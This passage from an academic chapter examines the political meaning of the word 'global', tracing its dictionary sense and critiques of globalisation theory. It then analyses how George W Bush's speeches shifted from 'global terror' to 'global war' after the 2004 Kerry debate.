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Peter Berger’s symptomatic belief that ‘global’ does not need further elaboration because one can be ‘reasonably clear’ about what it means seems to evolve from two things. The first is its derivation from ‘globalisation’. While ‘globalisation’ is subject to rigorous definition, ‘global’ slips under the radar screen. In fact, it is exactly the popularity and constant focus on ‘globalisation’ that blurs the need to investigate ‘global’ in its own right. This is connected to the second thing, namely, the fact that ‘global’ is simply considered a neutral term; such that one just needs to look it up in the dictionary. But a brief reflection on the term as such and its dictionary definition reveals the challenges associated with it.

 

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The political dimension of ‘global’

The word ‘global’ is first of all an adjective, and as such it refers to a state of being. According to the Oxford English Dictionary (OED) ‘global’ means:

pertaining to or embracing the totality of a number of items, categories, etc.; comprehensive, all-inclusive, unified; total; spec. pertaining to or involving the whole world; world-wide; universal (OED URL).

 

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In this sense it dates back to the late nineteenth century. ‘Global’ is associated with the term ‘globe’, which, in the English language, dates back to the mid-sixteenth century when it meant ‘the earth’. The term ‘globalisation’, which entered the (economics) discourse as a neologism through Theodore Levitt’s 1983 Harvard Business Review article, ‘The Globalization of Markets’ (Teubert 2002: 157), is listed as one of the derivations of ‘global’; it does not have a separate entry but it is defined as ‘the act of globalising’. To ‘globalise’, in turn, is defined as ‘to render global’. Hence, according the Oxford English Dictionary, both latter terms are derived from ‘global’.

 

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The problem with accepting that ‘global’ is a clear and neutral descriptive term is apparent from a simple reflection on the above definition. If ‘global’, an adjective, refers to the totality of a number of things, it connotes two things. First, it means that whatever ‘global’ refers to is either ‘global’ or not – ‘global’ refers to a state of being, of totality, hence, by definition, there cannot be degrees of ‘global’. This makes comparative expressions such as ‘a more global world’ (Annan 2000: 14) hard to grasp – or at least intrinsically unclear if one follows the common dictionary definition. By contrast, the term ‘globalisation’ implies a process (however defined). Accordingly, the process of ‘globalisation’ can vary and variations can be measured on the basis of the definition of the process and its indicators.

 

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The same applies to the adjective ‘globalised’. ‘Globalised’ refers to the state of being of ‘a thing’ that has been influenced by the process of ‘globalisation’; like the term ‘globalisation’, ‘globalised’ implies that varying degrees are possible – hence, a thing can be more or less ‘globalised’. The contrast between ‘globalised’ and ‘globalisation’ on the one hand and ‘global’ on the other, reveals the second connotation of the apparently straightforward idea of ‘global’. By definition, the attribute ‘global’ appears readily verifiable, at least easier to verify than attributes that imply degrees. In order to verify and agree that something is ‘global’ one just needs to know the unit of the items which it refers to. Thus, the second connotation of the OED definition of ‘global’ is that it implies a pre-assumption about a pool of items that are then categorised into being either ‘all-embracing’ (= ‘global’) or not.

 

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This reflection on the term ‘global’, as defined by the OED, and its derivations, ‘globalisation’ and ‘globalised’, shows that discussing and thinking about ‘globalisation’ depends ultimately on the definition of the concept. Indeed, discussions about the concept of ‘globalisation’ fill libraries. Discussions about ‘global’, on the other hand, do not so much depend on the definition of the term as such, and in this respect (if one takes the dictionary definition) one can actually agree with Peter Berger that it is ‘reasonably clear’ that the term ‘global’ refers to some sort of totality of items. Rather, the evaluation of and discussion about ‘global depends on the definition of the pool of items to which the adjective refers. In order to be able to critically discuss, assess and ratify whether something can be reasonably considered ‘global’, one needs to know the underlying pre-assumed idea to which it refers. Yet, as this chapter argues, there is hardly any critical reflection on the use of ‘global’ in public, political and political studies discourse.

 

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This lacuna appears to exist because of the general assumption that the underlying unit is clear: as the OED suggests, it is ‘the globe’. Indeed, many writers on ‘globalisation’ start by referring to the dictionary and pointing out the relation between the terms ‘globe’ and ‘global’ (for example, Scholte 2005). As is seen, for instance, in Martin Albrow’s linguistic elaborations, the ‘globe’ is then associated with something material:

It [global] refers back to the globe, but the subtleties of the expansion of the idea depend on the different place given to human agency in a global as opposed to a national context. The nation occupies a contested natural/ideal status; the globe has an undisputed materiality, however, far removed it is from the daily behaviour of those who refer to it in their thoughts and deeds. (Albrow 1996: 81).

 

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Thus, based on the ‘natural’ unit ‘globe’, ‘global’ is then often automatically associated with ‘humankind as a whole’ and ‘everybody around the globe’.

 

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If one accepts the theoretical premises of the political dimension of language sketched here and the nature of linguistic signs and meanings, it is evident that the idea of ‘an undisputed materiality’ is problematic. But even if one does not sign up to a postmodern theoretical point of view, ‘global’, in the sense of ‘worldwide’ as well as ‘humankind as a whole’, cannot be used in an absolute sense, at least not in a ‘natural’, descriptive way, because it cannot be empirically verified. Hence, from the beginning there is always an element of construction in it, which means that it is never neutral but always a political statement. ‘Global’ per se makes whatever it ‘describes’ a political issue and asks for a revealing of the pre-assumption of the pool of items it is applied to refer to.

 

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With regard to the study of contemporary world politics, the ‘naturalisation’ of ‘global’ is particularly surprising. Even if one does not adopt a postmodern perspective, that is, even if one does not start from the position that terms and language are essentially political in nature, the current critique of ‘globalisation theory’ in general and the argument of political scientist Justin Rosenberg in particular (albeit inadvertently), reveal a paradox that readily raises interest and suspicion about the term ‘global’ and its application in contemporary politics.

 

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The ‘global’ paradox of contemporary politics

The terrorist attacks of 9/11 and their aftermath, which, to a great extent, have been permeated by the influence of what is called ‘the global war on terror/ism’ in general and the US-led military interventions in Afghanistan and Iraq in particular, have triggered much discussion about the state of ‘globalisation’ (Held and McGrew 2007). In this context, Justin Rosenberg announced that ‘“the age of globalisation” is unexpectedly over’ (2005: 2) – ‘unexpectedly’ because, for him, the idea of globalisation was never more than a ‘craze’, the ‘Zeitgeist of the 1990s’ (2005: 2). Consequently, it was only a matter of time until the ‘follies of Globalisation Theory’ (Rosenberg 2000) were exposed and the idea of ‘globalisation’ was revealed as the basis for a ‘systematic misinterpretation of the 1990s’ (Rosenberg 2005). The fact that this (finally) happened, thanks to 9/11 and its aftermath, according to Rosenberg, is obvious in the ‘recent disappearance of this word [globalisation] from Anglo-American media and governmental commentaries [that] has been almost as sudden as its meteoric rise a decade ago’ (Rosenberg 2005: 3).

 

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Whether or not one agrees with Rosenberg’s overall assessment that ‘globalisation theory’ is the result of a ‘subjective correspondence to the lived experience’ (2005: 2) that ‘elbowed out the assumptions and resources of more traditional approaches’ (2005: 10), and whether or not one is convinced by his praise of Marxism, it is evident that recent political developments suggest a (re)turn to concepts such as ‘unilateralism’ and ‘geopolitics’. Indeed, hopes that 9/11 would strengthen institutions such as the UN and readjust the unilateral direction of the pre-9/11 Bush administration were disappointed – most obviously in the face of the so-called Bush Doctrine and its emphasis on pre-emptive military strategies, as outlined in Part V of the 2002 US National Security Strategy (URL).

 

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Assumptions such as the belief that the US ‘military autonomy is decidedly compromised by the web of military commitments and arrangements in which it has become entangled’ (Held et al. 2003: 144) simply do not correspond to recent US foreign policy practice. Likewise, the unprecedented scale of civil society mobilisation on 15 February 2003 barely affected the British government’s decision to support the invasion of Iraq. In general, the concept of a ‘global civil society’ still triggers much critique because it does not very obviously resemble everybody’s perception of social reality. Rather, contemporary post-9/11 social reality seems to be about ‘heightened nationalism, the reassertion of geopolitics, US military hegemony, the strong state and the closing of borders’ (Held and McGrew 2007: 1). Yet Rosenberg’s assumption that the term ‘globalisation’ has disappeared from Anglo-American public and political discourse is proved wrong by empirical evidence. As outlined above, ‘globe talk’ is not decreasing in the ‘Anglo-American media and governmental commentaries’ at all. In regard to ‘globalisation’, a study of The New York Times, for instance, reveals that during the first five years of the new millennium the term appeared in 2,850 articles, and was used more often than in the last two decades of the twentieth century (1980–1989, 606; 1990–1999, 2164; total = 2770), with a constant rise in its annual use. And, as was outlined above, so did ‘glob*’ vocabulary in general; most prominently the term ‘global’ itself.

 

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Thus, Rosenberg’s globalisation critique inadvertently highlights the necessity of taking the term ‘global’ seriously in that it raises awareness of an (alleged) paradox: although contemporary political practice seems to be permeated by unilateralism and explicit national interests rather than by (the ideal of) ‘global governance’, it is more than ever embedded in a ‘global’ rhetoric. This paradox is especially apparent in regard to current US President George W Bush.

 

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For example: George W Bush’s ‘global’ politics

The term ‘global’ has a history in the US presidents’ public papers going back to 1942, when it appeared for the first time in a remark at a press conference by US President Franklin D Roosevelt (1942b). In fact, the term was then used in a context which has become prominent again today; namely, in the context of a ‘global war’. In 1942 Roosevelt persuaded US citizens to be more supportive of the ‘global war’ that the country was fighting against Nazi Germany and its allies:

The Nation must have more money to run the war. People must stop spending for luxuries. Our country needs a far greater share of our incomes. For this is a global war, and it will cost this Nation nearly $100,000,000,000 in 1943. (Roosevelt 1942c)

 

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The papers of both US presidents Clinton and President George W Bush reflect the above mentioned trend of the striking ‘global’-isation of political discourse. By 25 April 2007 President Bush had used the term in a total of 839 public papers.

 

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‘We live in a global economy, as you well know’ (Bush 2006a)

The first thing that attracts one’s attention when reading President Bush’s public papers with a particular interest in ‘global’ is the strategic application of the term. ‘Global’ is applied remarkably often as a rhetorical device in order to justify a political decision. The reasoning behind this justification is that because something is ‘global’, something else needs to be done. Through this strategy political actions are framed and justified as political reactions to something ‘global’ ‘out there’ which, by default, implies a logic of inevitability. The link between what is (called) ‘global’ and a particular political decision is explicitly established through terms such as ‘therefore’, ‘because’, ‘that is why’, and ‘so’. This rhetorical strategy is used particularly often in regard to economic issues and issues of US competitiveness as in the following examples:

In other words, we’ve got to get education right not only because it’s a national responsibility but because we’re in a global world (Bush 2006b).

We got to make sure there’s math and science in our high school classrooms so our kids have the skills necessary to compete in this global economy (Bush 2004a).

 

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The intriguing aspect of this rhetorical strategy is that the term ‘global’ is not explained. Though it serves as the central component in the justification of political decisions, it is naturalised. President Bush does not reveal what this term actually implies and why and how the ‘global’ nature of, let’s say ‘the world’ (inevitably) leads to the political decision suggested. In addition, the impression that this ‘global’ nature leaves no space for alternative political (re)actions is further actively constructed as a ‘fait accompli’ through the use of expressions such as ‘see’, ‘you know’, and ‘as you well know’:

See, this is a global economy, whether people like it or not. (Bush 2006c)

See, we’re in a global conflict. (Bush 2006d)

We live in a global economy, as you well know. (Bush 2006a),

culminating in statements such as ‘Blair knows what I know – Prime Minister Blair knows what I know, that we’re in a global war (Bush 2007). Thus any questioning of the link between the ‘global’ nature of the world and the proposed policy decisions or President Bush’s underlying ‘global’ world view are ruled out. Yet ‘global’ is used as the argument.

 

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‘[G]lobal means global’

The strategic use of ‘global’ as a justification for policy decisions is fundamental for President Bush’s ‘global’ rhetoric. Though the underlying idea of ‘global’ is rarely explicitly revealed, a close reading of the papers shows that it is exclusively based on a US perspective. The term, as it is used in President Bush’s papers, has nothing to do with ‘humankind as a whole’, let alone with any kind of ‘cosmopolitan’ ideal or even the idea of an ‘international community’, except when it comes to climate change.

 

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The issue of ‘climate change’ is the only one in which President Bush uses the term ‘global’ in the sense of ‘everybody’s responsibility’. Here, again, the term ‘global’ is strategically used in order to support the current US policy strategy: to remind others that climate change is a ‘global’ issue, in the sense that everybody is equally obliged to act. Thus, he justifies the ‘hesitant’ and in some respects even unilateral US position in regard to ‘global’ climate change initiatives, such as the Kyoto Protocol, by arguing that since it is a ‘global’ issue, the US is not willing to take significant steps first, let alone without parallel action by developing countries, in particular China and India. This is illustrated in the following remark at a press briefing:

When you’re talking about global emissions, that means – global means global. So everyone is emitting up into the air. And if there are no actions taken by the major developing countries, like China and India … you’re going to put the American economy at a great disadvantage. (Perino 2007)

 

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From ‘global terrorism’ to ‘global war’

An analysis of ‘global’ co-occurrences offers further insight into the ways in which the term ‘global’ is applied and the ideas associated with it.

 

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Prior to the terrorist attacks of 9/11 the most frequent ‘global’ co-occurrences were ‘global economy’ and ‘global trade’, both in President Bush’s papers and in the 2000/1 President Clinton’s papers. This changed after 9/11. ‘Global economy’ was replaced by ‘global terror’, followed by ‘global terrorism’. Though it is unsurprising that the frequency of the use of terms such as ‘terrorism’ and ‘terror’ increased after 9/11, because the 9/11 attacks were interpreted as ‘terrorist attacks’ by the US administration, there is nothing ‘natural’ about its co-occurrence with the term ‘global’. So what does the ‘global’ ‘do’ and mean in these contexts?

 

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First of all, as noted above, ‘global’ is very much based on a US perspective. Immediately after the terrorist attacks of 9/11 ‘global’ was used in the sense that something ‘global’ had attacked the US. Since ‘terror’ and ‘terrorism’ was ‘global’, the US was no longer safe and needed to take measures to defend itself against a ‘global’ threat, a threat of ‘global reach’. In this context, the term ‘global’ referred to the nature of the ‘new’ threat: in fact the ‘global’ was very much associated with ‘American’ in the sense that this new ‘global’ threat was perceived as ‘global’ only when it suddenly reached American soil. The reaction was to fight against this ‘global’ threat by launching a war against ‘global’ terror/ism:

Today I am pleased to issue the National Strategy for Combating Terrorism. This strategy outlines the effort our Nation is making to win the war against global terror. (Bush 2003)

America will not rest; we will not tire until every terrorist group of global reach has been found, has been stopped, and has been defeated. (Bush 2002a)

… our Nation is just beginning in a great objective, which is to eliminate those terrorist organizations of global reach. (Bush 2002b)

 

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At the end of 2004 a shift in rhetoric is noticeable. From October 2004 onwards, ‘global terror’ which was until then the most frequent use of the term ‘global’ is replaced by ‘global war’. The shift in the use of ‘global’ can be traced to a particular event, the Presidential debate between John F Kerry and George W Bush on 30 September 2004 (Bush–Kerry 2004). During this debate John F Kerry is asked about his position on the concept of pre-emptive war, to which he answers:

The president always has the right, and always has had the right, for preemptive strike. … But if and when you do it, Jim, you have to do it in a way that passes the test, that passes the global test where your countrymen, your people understand fully why you’re doing what you’re doing and you can prove to the world that you did it for legitimate reasons.

 

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Asked for his position, President Bush responded:

Let me – I’m not exactly sure what you mean, ‘passes the global test,’ you take preemptive action if you pass a global test. My attitude is you take preemptive action in order to protect the American people, that you act in order to make this country secure.

 

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From then on ‘the war against global terror/ism’ became the ‘global war against terror’. At first sight, this may appear to be a minor rhetorical shift, but actually it signals a significant shift of perspective and attitude. Suddenly, it is not the threat that is ‘global’ but the American action that is justified as being ‘global’, which implies a more offensive position following the attitude that ‘[i]n our time, terrible dangers can arise on a short moment anywhere in the world, and we must be prepared to oppose these dangers everywhere in the world’ (Bush 2005b):

And so long as I’m sitting here in this Oval Office, I will never forget the lessons of September the 11th, and that is that we’re in a global war against coldblooded killers. (Bush 2005c)

We are now waging a global war on terror – from the mountains of Afghanistan to the border regions of Pakistan, to the Horn of Africa, to the islands of the Philippines, to the plains of Iraq. We will stay on the offense, fighting the terrorists abroad so we do not have to face them at home. (Bush 2005a)

 

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A shift in the use of key vocabulary can be generally seen as impacting on political identity and can read as a predictor of tendencies in future (foreign) policy (for example see Hellmann et al. 2005). In regard to President Bush’s application of the term ‘global’ two things can be observed: first, a shift to a more offensive position is evident, which gives us reason to assume that US foreign politics will further shift towards unilateralism and a foreign policy that is based on an extreme national interest. Second, this foreign policy is (nevertheless) embedded in a ‘global’ rhetoric, in which a systematic and strategic use of the political currency ‘global’ is supposed to make US foreign policy discourse applicable to the ‘global discourse’ in general, which, to some extent, obscures its narrowly US-focused premises.

 

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Conclusion

This chapter has argued that the term ‘global’ constitutes a significant political currency today. Contemporary public, political and academic discourses are characterised by the use of the term ‘global’ in new ways and to an unprecedented degree. Yet because reflection on the diverse applications of and ideas that are associated with the term is rare, it is naively assumed that the proliferation of the term ‘global’ means that ‘global’ is ‘global’. The term ‘global’ is naturalised, and taken for granted. Where it is interrograted, it usually centres around the idea of ‘worldwide’, reflecting the Zeitgeist, ‘everybody around the world’, ‘humankind as such’ and a sense of ‘cosmopolitanism’. This ‘naturalisation’ of the term ‘global’ is problematic, though, because the idea(s) associated with it potentially challenge traditional perceptions of socio-political reality and address the important social coordinates of ‘we’ and ‘them’; at the same time they (potentially) blur power relations and particular interests in that they cover them in (supposedly) all-embracing, ‘global’ terms.

 

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Based on a post-structuralist understanding of the relation between reality and language, and based on the premise that the meanings that construct social reality are products of social processes, it should be acknowledged that whatever is brought into the discourse inevitably affects it by shaping the bases on which future communication and reality construction is built. This is especifically true for strong and influential (political) voices, such as that of the US president, but also of prominent civil society groups. Hence, the investigation of contemporary ‘global’ politics comes with the imperative to investigate the term ‘global’ as the significant, discourse-shaping term.

 

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In regard to the use of the term ‘global’ by prominent civil society groups, this chapter illustrates that their use of the term is primarily associated with a feeling of the Zeitgeist, but also with ‘the North’. Hence, it could be argued that major civil society groups are discursively supporting a traditional idea of a world order in which (Northern) nation states are the predominant actors. The analysis of the term ‘global’ in President Bush’s public papers showed how the term is used strategically as part of a policy attitude which is profoundly nationally focused or US-centric. The analysis of his use of the term revealed a shift in the rhetoric that indicates the strenghtening of the US’s unilateral position under a ‘global’ roof.

 

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Overall, this chapter advocates a greater openess towards the analysis of language in the investigation of contemporary world politics. Since the term ‘global’ has become a valuable political currency worldwide it needs to be critically addressed through further analyses of what it implies and which coordinates of ‘we’ and ‘them’ are established, both in the context of the political discourse and with regard to political studies. The term ‘global’ has become too important and influential to continue taking it for granted.

 

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